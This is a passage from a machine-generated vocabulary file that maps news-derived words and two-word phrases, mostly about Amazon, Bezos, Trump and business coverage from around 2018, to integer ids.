dg": 212050, "world economic": 212051, "residence": 212052, "arkansas raleigh": 212053, "repeatedly pressured": 212054, "bet awards": 212055, "estate taxes": 212056, "mikesnider read": 212057, "taken control": 212058, "problem movement": 212059, "american story": 212060, "happening right": 212061, "session low": 212062, "tyson": 212063, "cabinet members": 212064, "red hen": 212065, "weren successful": 212066, "slams sarah": 212067, "a4ee j8": 212068, "lives turns": 212069, "ap gary": 212070, "account data": 212071, "agency download": 212072, "believes": 212073, "traditional offerings": 212074, "state registered": 212075, "social views": 212076, "fox regional": 212077, "personal feelings": 212078, "doubt delighted": 212079, "new experience": 212080, "orders represented": 212081, "tell management": 212082, "rae": 212083, "obamas jared": 212084, "ready amazon": 212085, "spanning story": 212086, "series westworld": 212087, "hurting competition": 212088, "books slated": 212089, "woman wouldn": 212090, "joni ernst": 212091, "prompted federal": 212092, "finally available": 212093, "clark senior": 212094, "cortez led": 212095, "action hoping": 212096, "bezos outlined": 212097, "700 assistant": 212098, "huge missed": 212099, "tech app": 212100, "various holdings": 212101, "trump insurance": 212102, "embedded media": 212103, "olympic style": 212104, "menthol": 212105, "win future": 212106, "coast john": 212107, "concerned republicans": 212108, "subsidizing profitable": 212109, "london buskers": 212110, "reorder": 212111, "provide lights": 212112, "new network": 212113, "salvini center": 212114, "economic effects": 212115, "governors meeting": 212116, "madeira": 212117, "futures skyrocketed": 212118, "executive vice": 212119, "hq trivia": 212120, "rare issue": 212121, "output dropped": 212122, "series powered": 212123, "communications cement": 212124, "iphones": 212125, "brittain ladd": 212126, "relations fight": 212127, "technology coverage": 212128, "kyi": 212129, "outfit spectre": 212130, "mile continue": 212131, "hollenhorst citi": 212132, "unpaid bills": 212133, "industry hadn": 212134, "exile": 212135, "company actually": 212136, "just entered": 212137, "mclarty associates": 212138, "broad appeal": 212139, "half life": 212140, "beasley settled": 212141, "tamara edwards": 212142, "booker prize": 212143, "exclude certain": 212144, "saudi officials": 212145, "pay single": 212146, "729": 212147, "disappoint": 212148, "insidious model": 212149, "indiana semiotext": 212150, "legislation gives": 212151, "validar crown": 212152, "suliman plays": 212153, "paying lower": 212154, "state plots": 212155, "lisota bloomberg": 212156, "indispensable idea": 212157, "unknowingly": 212158, "nashua": 212159, "review earlier": 212160, "drinks firm": 212161, "chinese sellers": 212162, "vehicles fuel": 212163, "roger stone": 212164, "walmart amusement": 212165, "probed": 212166, "year nearly": 212167, "sharp gain": 212168, "big problems": 212169, "netflix accounting": 212170, "mair": 212171, "clearly isn": 212172, "hadassa": 212173, "catch trump": 212174, "solution thompson": 212175, "timeline fascinating": 212176, "chrysler fell": 212177, "mit researchers": 212178, "broader issues": 212179, "son donald": 212180, "new programme": 212181, "consultants associated": 212182, "sessions delivers": 212183, "rochelle": 212184, "mean think": 212185, "pool geekwire": 212186, "architect": 212187, "elizabeth debicki": 212188, "decline george": 212189, "pyramid": 212190, "alfalfa": 212191, "inc_autoplay_videoflag true": 212192, "1997 strike": 212193, "embarrassing behavior": 212194, "gridlock": 212195, "administration enforced": 212196, "shanghai index": 212197, "sanchez friend": 212198, "pitt speaks": 212199, "articulated": 212200, "offset just": 212201, "power abroad": 212202, "sites equipment": 212203, "finding smart": 212204, "audio files": 212205, "borrowers eligible": 212206, "seizing": 212207, "expect given": 212208, "newsbuzz amazon": 212209, "salles did": 212210, "things": 212211, "op read": 212212, "armisen takes": 212213, "editing": 212214, "close0 london": 212215, "hanin peter": 212216, "qualifies amazon": 212217, "gmt copyright": 212218, "just write": 212219, "american burial": 212220, "think fedex": 212221, "websites": 212222, "experience hit": 212223, "stickers cellphone": 212224, "parties handle": 212225, "g8 c8": 212226, "cost powerful": 212227, "tech team": 212228, "sandringham": 212229, "sales politics": 212230, "current president": 212231, "future attempts": 212232, "big multinationals": 212233, "enforcement training": 212234, "suggests review": 212235, "discussion board": 212236, "eventful": 212237, "aerodynamic machine": 212238, "maga denigration": 212239, "await reunions": 212240, "america tries": 212241, "hunting season": 212242, "defense agency": 212243, "celebrations": 212244, "faces hurdle": 212245, "5000 share": 212246, "commerce world": 212247, "frequent skeptic": 212248, "swamp plan": 212249, "carry wine": 212250, "regular investors": 212251, "culture abroad": 212252, "giants cornerstone": 212253, "treasury department": 212254, "tech youtube": 212255, "illegally accelerating": 212256, "needle moving": 212257, "think elizabeth": 212258, "linnaeus known": 212259, "sorta": 212260, "forces users": 212261, "import millions": 212262, "time logjams": 212263, "shephard ninth": 212264, "carry weapons": 212265, "commerce titan": 212266, "month amazon": 212267, "book ranked": 212268, "violent sexually": 212269, "depicting sexual": 212270, "deliver customer": 212271, "relatively good": 212272, "business anti": 212273, "new integrations": 212274, "tax debacle": 212275, "kid recorded": 212276, "trump page": 212277, "amazon rounds": 212278, "challenge game": 212279, "flatbed truck": 212280, "ami owner": 212281, "venerable newspaper": 212282, "run wild": 212283, "old men": 212284, "watch enemies": 212285, "children masterpieces": 212286, "escalates": 212287, "videocmsurl": 212288, "high court": 212289, "executive ike": 212290, "magas anti": 212291, "previous reported": 212292, "martin luther": 212293, "correspondent tired": 212294, "posed privacy": 212295, "sessions office": 212296, "month banned": 212297, "walmart stock": 212298, "fall campaign": 212299, "insider nederland": 212300, "apple stocks": 212301, "ceo david": 212302, "house candidate": 212303, "middle states": 212304, "image 336x336": 212305, "crime environmental": 212306, "ap coverage": 212307, "washington microscope": 212308, "phil smith": 212309, "franek": 212310, "currently": 212311, "viewpoint appears": 212312, "assembly counterpart": 212313, "nasdaq roku": 212314, "duke": 212315, "walter reed": 212316, "spends billion": 212317, "criticized debut": 212318, "nancyscola": 212319, "express desire": 212320, "destructive cross": 212321, "embedded secret": 212322, "avid courting": 212323, "wework suddenly": 212324, "house sending": 212325, "twist sanchez": 212326, "enforcement including": 212327, "century figured": 212328, "levin offered": 212329, "media mergers": 212330, "slain journalists": 212331, "million bucks": 212332, "public spats": 212333, "parade new": 212334, "gigafactory workers": 212335, "real reasons": 212336, "cloud 600": 212337, "dit": 212338, "tweets immediately": 212339, "sp1": 212340, "record diamond": 212341, "a4ee e0": 212342, "purveying fake": 212343, "15b": 212344, "accenture survey": 212345, "national oil": 212346, "258 million": 212347, "articles china": 212348, "fervently": 212349, "getting crucified": 212350, "prices": 212351, "reassures": 212352, "foreman mayweather": 212353, "carousel__content__item onvideocarouselitemclicked": 212354, "falls outside": 212355, "emergency minutes": 212356, "career stream": 212357, "regional transportation": 212358, "novel beloved": 212359, "appears tariffs": 212360, "employ thousands": 212361, "stopping voter": 212362, "told cheering": 212363, "employees share": 212364, "queens exactly": 212365, "kentucky setting": 212366, "issue appeared": 212367, "2018q3": 212368, "report embedded": 212369, "salke called": 212370, "air talking": 212371, "prominent journalists": 212372, "industry audience": 212373, "brazilian soy": 212374, "geopolitical turmoil": 212375, "brash management": 212376, "unauthorized secret": 212377, "nutanix reports": 212378, "hot quote": 212379, "present new": 212380, "cease doing": 212381, "bought air": 212382, "primary colors": 212383, "000 payout": 212384, "taxed": 212385, "breaks eminent": 212386, "potentially expanding": 212387, "tabloid leaf": 212388, "mother landlord": 212389, "sanders issued": 212390, "actresses following": 212391, "daily moving": 212392, "redefined": 212393, "hubbard scrubbed": 212394, "journalists dangerous": 212395, "mistake jeff": 212396, "far dominated": 212397, "military data": 212398, "jones amazon": 212399, "party holds": 212400, "plains burned": 212401, "trump love": 212402, "recently deceased": 212403, "river minneapolis": 212404, "stories 8220": 212405, "page sanchez": 212406, "civic leaders": 212407, "rtamericanews": 212408, "pitted south": 212409, "graham bringing": 212410, "selling business": 212411, "887 poised": 212412, "350 puts": 212413, "better moderation": 212414, "billionaire president": 212415, "adaptation": 212416, "separately think": 212417, "washington vineti": 212418, "sign shutdown": 212419, "em": 212420, "gross exaggeration": 212421, "2050": 212422, "action tell": 212423, "buzz60": 212424, "helou ecco": 212425, "education pushes": 212426, "getty follow": 212427, "including involvement": 212428, "usps lost": 212429, "nick wingfield": 212430, "cloud bids": 212431, "future events": 212432, "recordings": 212433, "windfalls": 212434, "fossil fuels": 212435, "firm results": 212436, "dollar amounts": 212437, "feed recommend": 212438, "vendors paying": 212439, "buddy buddy": 212440, "disaffected": 212441, "interesting meeting": 212442, "morning hancock": 212443, "s\u00e1nchez discussed": 212444, "new document": 212445, "big monster": 212446, "comments section": 212447, "tunnels tom": 212448, "estate development": 212449, "dominance chad": 212450, "government related": 212451, "protection alliance": 212452, "people heads": 212453, "films generated": 212454, "637": 212455, "learning curve": 212456, "feeney": 212457, "schools today": 212458, "fast losing": 212459, "payers economic": 212460, "sanders facebook": 212461, "times pope": 212462, "emergencies florida": 212463, "guide amzn": 212464, "stamps encourage": 212465, "consigned": 212466, "popstar justin": 212467, "juanita jordon": 212468, "eco annihilation": 212469, "assaulting": 212470, "despite surge": 212471, "behooves": 212472, "years ended": 212473, "need real": 212474, "hotbed": 212475, "hard boiled": 212476, "aws rep": 212477, "asking politely": 212478, "marty hartman": 212479, "gun gesture": 212480, "cortez won": 212481, "vertical mergers": 212482, "siegy": 212483, "recognition features": 212484, "freaking": 212485, "strategy noting": 212486, "report louisiana": 212487, "mn": 212488, "mediametadatacallbacks mobilepinnedview": 212489, "forbes 2017": 212490, "news express": 212491, "past michael": 212492, "organization drop": 212493, "journalist ronan": 212494, "huge bet": 212495, "correspondent jim": 212496, "corporate citizen": 212497, "cameo": 212498, "popular tech": 212499, "don choose": 212500, "jill abramson": 212501, "getting sweater": 212502, "chicago tonight": 212503, "nasdaq tomorrow": 212504, "400 fang": 212505, "handles sales": 212506, "named uttam": 212507, "dinosaurs check": 212508, "raedle": 212509, "expenditures": 212510, "mac says": 212511, "afro brazilian": 212512, "year day": 212513, "track inside": 212514, "bezos admitted": 212515, "reports bezos": 212516, "international legitimacy": 212517, "help law": 212518, "unroll": 212519, "raunchy text": 212520, "largest businesses": 212521, "convince investors": 212522, "accusations echoed": 212523, "remark wasn": 212524, "holgate research": 212525, "reprogrammed aoc": 212526, "snakeskin": 212527, "viable tunnels": 212528, "tv networks": 212529, "china story": 212530, "watching closely": 212531, "logoed vans": 212532, "sagindie talk": 212533, "operates special": 212534, "rachel": 212535, "rare concession": 212536, "navigate political": 212537, "drama series": 212538, "chilly depictions": 212539, "cortez doesn": 212540, "preventing north": 212541, "cessation": 212542, "geo blocking": 212543, "selling vaccines": 212544, "jason moser": 212545, "getting tarred": 212546, "profitable game": 212547, "did thisand": 212548, "friends imploring": 212549, "latest pew": 212550, "case breakthrough": 212551, "cost brands": 212552, "captionless recent": 212553, "medium file": 212554, "security accounts": 212555, "hacker used": 212556, "keywell": 212557, "management years": 212558, "country mandel": 212559, "journalistic digging": 212560, "media critics": 212561, "hound michael": 212562, "typical air": 212563, "says matt": 212564, "harbor luckin": 212565, "including scott": 212566, "965 9002": 212567, "jr trump": 212568, "spending jared": 212569, "packing": 212570, "skewed": 212571, "place chef": 212572, "hasson notes": 212573, "public investment": 212574, "workplace regimes": 212575, "priorities tom": 212576, "comedy special": 212577, "financial capacity": 212578, "mu": 212579, "cavalier improving": 212580, "media account": 212581, "buffalo cuomo": 212582, "ben stiller": 212583, "warning resulted": 212584, "experts legal": 212585, "really deal": 212586, "newly elected": 212587, "developing countries": 212588, "week canadian": 212589, "instinctively": 212590, "claims confusing": 212591, "capital partner": 212592, "selling shirts": 212593, "bandwidth consuming": 212594, "supermicro customer": 212595, "joann fitzpatrick": 212596, "net negative": 212597, "joined lawsuit": 212598, "born citizens": 212599, "include apple": 212600, "neil saunders": 212601, "recap": 212602, "influence game": 212603, "flipkart opening": 212604, "va wa": 212605, "gaslighting americans": 212606, "forces findings": 212607, "kavanaugh accuser": 212608, "european parliamentary": 212609, "conspiracy indictment": 212610, "photo carolyn": 212611, "accurate": 212612, "comparison shopping": 212613, "changes sellers": 212614, "american rich": 212615, "readiness florida": 212616, "surprised": 212617, "kim center": 212618, "ubhi gig": 212619, "danica": 212620, "2fnewsletter": 212621, "billion red": 212622, "insights politics": 212623, "things honcho": 212624, "toronto tech": 212625, "final details": 212626, "love questions": 212627, "improve technology": 212628, "purchase office": 212629, "official investigations": 212630, "exit forces": 212631, "eliot horowitz": 212632, "pms": 212633, "viacom warns": 212634, "wildfire tore": 212635, "options reduced": 212636, "fostering": 212637, "story educated": 212638, "divert funds": 212639, "monsivais": 212640, "tohost": 212641, "ferreira": 212642, "robertson bezos": 212643, "sparks outrage": 212644, "corporate espionage": 212645, "pence publically": 212646, "exponentially": 212647, "j8i a4ee": 212648, "worth far": 212649, "competitive package": 212650, "drooled": 212651, "school closings": 212652, "amazon everybody": 212653, "creatures big": 212654, "rights reserved": 212655, "zocpbd43p7 josh": 212656, "issue oftentimes": 212657, "union workers": 212658, "sptxzsegp5 lou": 212659, "category": 212660, "joked oliver": 212661, "creek": 212662, "members won": 212663, "insights cnn": 212664, "positive ones": 212665, "directly prevent": 212666, "highest priced": 212667, "5k": 212668, "189 shares": 212669, "sp2": 212670, "sign thank": 212671, "shields sam": 212672, "price target": 212673, "blyons": 212674, "really looking": 212675, "aluminum tariffs": 212676, "ballet student": 212677, "kawas read": 212678, "man alive": 212679, "engineering niniane": 212680, "longtime national": 212681, "services believe": 212682, "movie hayek": 212683, "unwind tech": 212684, "did year": 212685, "550 million": 212686, "proposed bezos": 212687, "estate breaking": 212688, "brian phillips": 212689, "arrivals daca": 212690, "governor aides": 212691, "regime say": 212692, "work knows": 212693, "byproduct": 212694, "johnson worked": 212695, "amazon maybe": 212696, "expansion unlikely": 212697, "trumped concerns": 212698, "case begin": 212699, "distributed technology": 212700, "order printings": 212701, "clue": 212702, "focused cloud": 212703, "flood emergency": 212704, "rains outside": 212705, "torday": 212706, "iraq leaves": 212707, "thom tillis": 212708, "shteyngart random": 212709, "street movement": 212710, "elegant limousines": 212711, "clearly understand": 212712, "woman trump": 212713, "bps": 212714, "repeated taunts": 212715, "encana 8221": 212716, "current": 212717, "volunteer role": 212718, "seller rating": 212719, "southern living": 212720, "praised": 212721, "nanny": 212722, "company billion": 212723, "reprehensible": 212724, "start really": 212725, "resist price": 212726, "declining ge": 212727, "hill graffiti": 212728, "automagically": 212729, "getting closer": 212730, "including hourly": 212731, "combined amazon": 212732, "amazon betty": 212733, "behemoth tax": 212734, "documents revealed": 212735, "felt sheet": 212736, "planned divorce": 212737, "inaugural": 212738, "401 emergency": 212739, "middling": 212740, "play deal": 212741, "called rigged": 212742, "aca": 212743, "wins includinga": 212744, "duke university": 212745, "headquarters plan": 212746, "showed americans": 212747, "investment community": 212748, "development initiative": 212749, "camacho": 212750, "sportswear qvc": 212751, "environment filled": 212752, "dockery publisher": 212753, "believes wmt": 212754, "fact amazon": 212755, "new dispute": 212756, "service saves": 212757, "elections striking": 212758, "animated clinton": 212759, "fear amazon": 212760, "peak holiday": 212761, "wiser": 212762, "cronyism chants": 212763, "offering better": 212764, "startup trying": 212765, "narcos mexico": 212766, "tony herbert": 212767, "metro washington": 212768, "tr ijr": 212769, "jobs touted": 212770, "imagines": 212771, "ceo refused": 212772, "growing threat": 212773, "service obligations": 212774, "contributor share": 212775, "recent plan": 212776, "food remedies": 212777, "post styles": 212778, "asked boeing": 212779, "agreement bad": 212780, "trump boasting": 212781, "introduces new": 212782, "newfound love": 212783, "martinez needless": 212784, "debunked trump": 212785, "riches make": 212786, "published number": 212787, "earnings earnings": 212788, "snap cuts": 212789, "michael hicks": 212790, "apparently exchanged": 212791, "largest charter": 212792, "sponsored washington": 212793, "wasn gonna": 212794, "retaining diverse": 212795, "outsized pension": 212796, "accounts savers": 212797, "feng shui": 212798, "amazon supports": 212799, "greer jason": 212800, "mount rates": 212801, "appliances": 212802, "vmw 150": 212803, "raiser": 212804, "international trade": 212805, "fernandez jr": 212806, "covering trump": 212807, "drag": 212808, "curtis withers": 212809, "2017 melina": 212810, "float": 212811, "getty trump": 212812, "39m": 212813, "gates held": 212814, "petition addressed": 212815, "make worse": 212816, "oversight bodies": 212817, "law enforcement": 212818, "learning read": 212819, "shitholes melania": 212820, "scooper air": 212821, "lawyers accountants": 212822, "ardent critics": 212823, "indian standard": 212824, "underway details": 212825, "joke trump": 212826, "wear trump": 212827, "facebook roughly": 212828, "l4": 212829, "old embedded": 212830, "york benicio": 212831, "psc handles": 212832, "remarkably low": 212833, "economies vox": 212834, "sfe": 212835, "storied ovens": 212836, "savoring": 212837, "marcus ashworth": 212838, "jets flying": 212839, "global giants": 212840, "pray executive": 212841, "outwitted": 212842, "executive anne": 212843, "mccain announced": 212844, "girl stars": 212845, "china domestic": 212846, "ruth": 212847, "companies influence": 212848, "decided erred": 212849, "official washington": 212850, "kenan thompson": 212851, "locally owned": 212852, "york supreme": 212853, "patented": 212854, "burglar": 212855, "created different": 212856, "run development": 212857, "global opinions": 212858, "protess": 212859, "citylab": 212860, "thoughtful views": 212861, "numerous attendees": 212862, "enquirer profile": 212863, "won exactly": 212864, "2017 quarterly": 212865, "senators yeah": 212866, "actor alleged": 212867, "employee treatment": 212868, "fda ppchd": 212869, "qanon great": 212870, "facing speculation": 212871, "years warning": 212872, "usps unsustainable": 212873, "dozen associates": 212874, "statements maybe": 212875, "tootin good": 212876, "chris cornillie": 212877, "read emergencies": 212878, "strong supporter": 212879, "trade center": 212880, "stardom emily": 212881, "prominent trumpsters": 212882, "operating officer": 212883, "firs black": 212884, "mueller office": 212885, "dow components": 212886, "medical associations": 212887, "audience griffeth": 212888, "bogo": 212889, "patrick soon": 212890, "months trump": 212891, "day compared": 212892, "surprise considering": 212893, "transatlantic relationship": 212894, "extensive lobbying": 212895, "nostalgia": 212896, "programmatically": 212897, "respectively related": 212898, "kings isbn": 212899, "aspiring booksellers": 212900, "f8 p8": 212901, "building delivered": 212902, "sanchez pictured": 212903, "hasn cracked": 212904, "salacious photographs": 212905, "faced pointed": 212906, "stanley druckenmiller": 212907, "trump tariff": 212908, "location kitchen": 212909, "hmm morgan": 212910, "premier soccer": 212911, "martindale": 212912, "article 6605745": 212913, "everybody rich": 212914, "shot naked": 212915, "day yesterday": 212916, "syringe disposal": 212917, "desk computer": 212918, "increases shipping": 212919, "entered": 212920, "online shipping": 212921, "gavel": 212922, "sellers service": 212923, "duracell": 212924, "functioning economy": 212925, "conspirators": 212926, "wouldn hold": 212927, "reduced immigration": 212928, "ride": 212929, "linear fashion": 212930, "company tjx": 212931, "watched shows": 212932, "taxes usps": 212933, "higher charges": 212934, "direct challenge": 212935, "jobless rates": 212936, "grain silos": 212937, "shippers total": 212938, "census 2020": 212939, "nation best": 212940, "affirms": 212941, "size business": 212942, "frequently publishes": 212943, "trending ikea": 212944, "groups wrote": 212945, "computing contracting": 212946, "distribute prescription": 212947, "cramer thinks": 212948, "reducing health": 212949, "warner suit": 212950, "hiking alongside": 212951, "best compared": 212952, "final stretch": 212953, "free rezaian": 212954, "bojan": 212955, "kagan": 212956, "editor photo": 212957, "pecker tried": 212958, "ad rivals": 212959, "million sponsorship": 212960, "businesses create": 212961, "real world": 212962, "provided texts": 212963, "wins 1527845402": 212964, "embracing": 212965, "page draft": 212966, "lsa days": 212967, "best tour": 212968, "daniel cooper": 212969, "accurately": 212970, "free live": 212971, "fran": 212972, "biceps": 212973, "runs antithetical": 212974, "shows deliveries": 212975, "begin efforts": 212976, "entered new": 212977, "bonaventure nicolas": 212978, "nadine": 212979, "mam": 212980, "original photo": 212981, "weeks wawx": 212982, "von nottrump": 212983, "trading gasol": 212984, "published long": 212985, "mir": 212986, "ayn": 212987, "nominating": 212988, "champions says": 212989, "shock victory": 212990, "stewardship helps": 212991, "fearless quotemeorelse": 212992, "skull fractures": 212993, "seattle clark": 212994, "based reporter": 212995, "following topics": 212996, "hastings endorsed": 212997, "gossipy national": 212998, "accepted bouquet": 212999, "200 amazon": 213000, "possibility president": 213001, "virtual": 213002, "disposal including": 213003, "100 people": 213004, "reasonable level": 213005, "orrin hatch": 213006, "students images": 213007, "lotteries prizes": 213008, "series docu": 213009, "sources claiming": 213010, "sector ultimately": 213011, "neighborhood rezonings": 213012, "concrete results": 213013, "rate falls": 213014, "target reduced": 213015, "think contract": 213016, "federal antitrust": 213017, "freighters": 213018, "motivating": 213019, "competitions lot": 213020, "b8 s8": 213021, "existing infrastructure": 213022, "alphabet present": 213023, "expect reading": 213024, "corporate services": 213025, "semiannual sale": 213026, "issuers": 213027, "tech talent": 213028, "tuxedo pre": 213029, "milan": 213030, "assessed thrive": 213031, "missing written": 213032, "government verify": 213033, "tracker nick": 213034, "maverick hot": 213035, "officials later": 213036, "viva": 213037, "rehabilitation impeachment": 213038, "right senator": 213039, "stick click": 213040, "empted": 213041, "157 million": 213042, "think ultimately": 213043, "performed better": 213044, "low profile": 213045, "therapy little": 213046, "magnitude witnessed": 213047, "federal state": 213048, "stakes deal": 213049, "saudis": 213050, "day kickoff": 213051, "consistently backed": 213052, "users paypal": 213053, "claudia kennaugh": 213054, "officer thanks": 213055, "research details": 213056, "stuffed pockets": 213057, "people travelex": 213058, "subscription boycottamazon": 213059, "mchale": 213060, "cbs corp": 213061, "lik amazon": 213062, "ballard": 213063, "offering services": 213064, "tough week": 213065, "dislocated traditional": 213066, "predicting blue": 213067, "hit half": 213068, "chagrin amazon": 213069, "hiring new": 213070, "bureaucratic holdovers": 213071, "active": 213072, "amazon rejecting": 213073, "corp speaking": 213074, "colin kaepernick": 213075, "ian mcshane": 213076, "return i4": 213077, "regulatory research": 213078, "local sales": 213079, "mattingly yes": 213080, "election crises": 213081, "slick advertising": 213082, "results surpassed": 213083, "jokingly jeered": 213084, "trial slated": 213085, "unusually robust": 213086, "working usa": 213087, "risk recently": 213088, "florence blew": 213089, "received dime": 213090, "trump tasked": 213091, "pallavi kumar": 213092, "force initially": 213093, "juxtaposing": 213094, "74th": 213095, "solutions originated": 213096, "consciousness regardless": 213097, "create seamless": 213098, "people starting": 213099, "obvious nod": 213100, "uber chief": 213101, "telling ball": 213102, "long beach": 213103, "work cheapskates": 213104, "renewed": 213105, "president urging": 213106, "queens cuomo": 213107, "terrible contract": 213108, "dinette": 213109, "ex": 213110, "pressure mark": 213111, "defense logistics": 213112, "amid complaints": 213113, "nys senator": 213114, "late 2014": 213115, "corporate profits": 213116, "offers scale": 213117, "based pillpack": 213118, "wrong product": 213119, "special knowledge": 213120, "tight economy": 213121, "tower including": 213122, "fitton": 213123, "sprung walmart": 213124, "torv18 jan": 213125, "471": 213126, "told stuart": 213127, "basic counsel": 213128, "proudly display": 213129, "expletives": 213130, "fencing far": 213131, "saudi aramco": 213132, "channels combined": 213133, "rivers pour": 213134, "summit ends": 213135, "house acting": 213136, "sister representative": 213137, "vp2e7uy3aa \u0627\u0644\u0639\u0646\u0640\u0640\u0640\u0640\u0648\u062f": 213138, "economic diplomatic": 213139, "included saykara": 213140, "tone deaf": 213141, "telephone messages": 213142, "flipkart majority": 213143, "vacancy": 213144, "va ronna": 213145, "assembling lilac": 213146, "jacob kastrenakes": 213147, "stockpiling": 213148, "amazon intentionally": 213149, "business school": 213150, "abc london": 213151, "increasing supply": 213152, "umbrella google": 213153, "lobbying staff": 213154, "virginia near": 213155, "daily newsflash": 213156, "output drops": 213157, "fourth largest": 213158, "firewalls": 213159, "mansion kaya": 213160, "finance parents": 213161, "facebook forever": 213162, "despite posting": 213163, "winning wage": 213164, "managed intl": 213165, "independent conservative": 213166, "png sortorder": 213167, "adapt antitrust": 213168, "regulators keith": 213169, "dramatic year": 213170, "manhattan east": 213171, "cloud services": 213172, "stone lauren": 213173, "bee hosted": 213174, "questions fast": 213175, "malfunctioning": 213176, "neighborhood surrounding": 213177, "men team": 213178, "speech critical": 213179, "estimates say": 213180, "nsa declined": 213181, "aides sent": 213182, "dinosaurs fossil": 213183, "flores justice": 213184, "jersey playbook": 213185, "konst": 213186, "process started": 213187, "forward bit": 213188, "sena": 213189, "ballroom used": 213190, "care eighteen": 213191, "trump scores": 213192, "factset expect": 213193, "suncor 8217": 213194, "congresswomen carolyn": 213195, "emergency gives": 213196, "blackmailer": 213197, "mktw shown": 213198, "potential bad": 213199, "app vine": 213200, "cryptocurrency": 213201, "major alternative": 213202, "just wished": 213203, "avoided making": 213204, "si trump": 213205, "directive dictates": 213206, "miriam": 213207, "science books": 213208, "subsequently told": 213209, "hq2 development": 213210, "advanced micro": 213211, "homelessness rates": 213212, "fictionalized versions": 213213, "lander capable": 213214, "cdp report": 213215, "developed nations": 213216, "loss selling": 213217, "lowest unemployment": 213218, "good guess": 213219, "arrested severe": 213220, "wall protect": 213221, "pastry airs": 213222, "break confidentiality": 213223, "development partnership": 213224, "california ice": 213225, "riveting anderson": 213226, "formidable contender": 213227, "workers rely": 213228, "additionally consumers": 213229, "twitter jim": 213230, "proposed developing": 213231, "market strong": 213232, "buying lot": 213233, "story kellyanne": 213234, "subsequent nice": 213235, "lobbying massive": 213236, "institute isa": 213237, "philanthropic": 213238, "blowing": 213239, "gained lot": 213240, "giant derives": 213241, "pamies norris": 213242, "appletv": 213243, "oversized": 213244, "eric bruggink": 213245, "dani": 213246, "intense targets": 213247, "forward marilyn": 213248, "h8": 213249, "plays politics": 213250, "perfectly captured": 213251, "does money": 213252, "momentum builds": 213253, "soared 467": 213254, "feels pretty": 213255, "jeter": 213256, "told aide": 213257, "amazon video": 213258, "spur deforestation": 213259, "largest greenhouse": 213260, "scripts": 213261, "clues exposed": 213262, "dianaee tweeted": 213263, "promoted shallow": 213264, "delhi aug": 213265, "eating disorder": 213266, "magazine empire": 213267, "continue growing": 213268, "hot issues": 213269, "ami showing": 213270, "bezos jointly": 213271, "34007608504": 213272, "letter group": 213273, "bezos bought": 213274, "simpson president": 213275, "help educate": 213276, "congressional": 213277, "long criticized": 213278, "state oil": 213279, "gift think": 213280, "viral piece": 213281, "retaliatory weapon": 213282, "did confirm": 213283, "steve carrell": 213284, "stupendously profitable": 213285, "renters say": 213286, "campaign helping": 213287, "ipo canaan": 213288, "kospi": 213289, "secure legitimacy": 213290, "removed new": 213291, "afghanistan insider": 213292, "year mchugh": 213293, "partners undermines": 213294, "investigators centers": 213295, "painkillers": 213296, "strategy amazon": 213297, "vote coming": 213298, "fundamental analytical": 213299, "balloting culminates": 213300, "amazon modern": 213301, "leapfrog": 213302, "process including": 213303, "credits based": 213304, "molina": 213305, "salvador allende": 213306, "activity venturing": 213307, "fake crimes": 213308, "mike debonis": 213309, "really hit": 213310, "economics expert": 213311, "philadelphia": 213312, "tail powerhouse": 213313, "event financial": 213314, "creating real": 213315, "songwriters music": 213316, "provide logistical": 213317, "wrong related": 213318, "agence france": 213319, "repeal obama": 213320, "smooth deflecting": 213321, "jebburacker": 213322, "balanced despite": 213323, "excerpts": 213324, "consolidated": 213325, "release nude": 213326, "price chopping": 213327, "trump hastily": 213328, "coverage gasoline": 213329, "protests dominion": 213330, "ace": 213331, "deregulatory policies": 213332, "coyne georgia": 213333, "old murder": 213334, "doesn grovel": 213335, "parliament democratic": 213336, "stormy daniels": 213337, "washington ___": 213338, "employer geekwire": 213339, "walmart commerce": 213340, "court world": 213341, "prolong fla": 213342, "goodthreads": 213343, "parents new": 213344, "community boards": 213345, "days national": 213346, "information collected": 213347, "tweet today": 213348, "reimbursement year": 213349, "shrank": 213350, "proper taxes": 213351, "soda": 213352, "japanese drama": 213353, "delhi preparing": 213354, "shares closed": 213355, "engage visitors": 213356, "robert mucci": 213357, "blackmail leaked": 213358, "necessarily affect": 213359, "set jeff": 213360, "distributed geographic": 213361, "malaysian deputy": 213362, "nickname dubbing": 213363, "repeatedly criticized": 213364, "day conference": 213365, "earning repeat": 213366, "publishing tycoon": 213367, "pharmacy industry": 213368, "frameworks engage": 213369, "proxies wrote": 213370, "matt gillespie": 213371, "intimidated": 213372, "city brian": 213373, "illness": 213374, "worth jeff": 213375, "rules won": 213376, "estate advisors": 213377, "home greer": 213378, "boycottnetflix": 213379, "chip cookies": 213380, "supermicro customers": 213381, "usps generating": 213382, "605": 213383, "shall await": 213384, "supan": 213385, "relationships": 213386, "basis amazon": 213387, "mcdonald received": 213388, "new arms": 213389, "acosta citing": 213390, "diplomats trump": 213391, "interested individuals": 213392, "sourceamazon killing": 213393, "including boston": 213394, "startup cuseum": 213395, "amazon nbsp": 213396, "spectrum wonder": 213397, "amazon streaming": 213398, "republican roy": 213399, "writer ted": 213400, "amistad continue": 213401, "genetically": 213402, "repeat ordering": 213403, "vast online": 213404, "richard cohen": 213405, "trigger crackdown": 213406, "interview took": 213407, "bathroom investigative": 213408, "organizations filed": 213409, "thunk": 213410, "wealth bezos": 213411, "assignment involves": 213412, "share momentum": 213413, "owner att": 213414, "point peeling": 213415, "new alexa": 213416, "math u2x": 213417, "trump loses": 213418, "camaraderie": 213419, "todefer": 213420, "trump coffee": 213421, "staggering story": 213422, "facebook harley": 213423, "foods employees": 213424, "actors delivering": 213425, "sales allowing": 213426, "customer bases": 213427, "serum": 213428, "released details": 213429, "washington community": 213430, "theus postal": 213431, "normalize": 213432, "eoa": 213433, "beef china": 213434, "initial consultations": 213435, "reputation woodward": 213436, "congestion added": 213437, "budget indie": 213438, "watch meet": 213439, "film crazy": 213440, "trump signified": 213441, "inbox copyrigh": 213442, "city instead": 213443, "reporter examines": 213444, "continue processing": 213445, "political attention": 213446, "2018 nir": 213447, "stalwart amazon": 213448, "unparalleled chutzpah": 213449, "danielle home": 213450, "world renowned": 213451, "independent agency": 213452, "ai researcher": 213453, "inquiring": 213454, "discuss security": 213455, "gives landlords": 213456, "inequality amazon": 213457, "isn terrible": 213458, "publication measuring": 213459, "people worry": 213460, "energy information": 213461, "main island": 213462, "oversized sportscoat": 213463, "new style": 213464, "needed mta": 213465, "forced amazon": 213466, "followers needed": 213467, "blame amazon": 213468, "plus share": 213469, "wildfire victim": 213470, "scott walker": 213471, "rigidity": 213472, "bezos information": 213473, "exhibiting bias": 213474, "virginia": 213475, "accuses amazon": 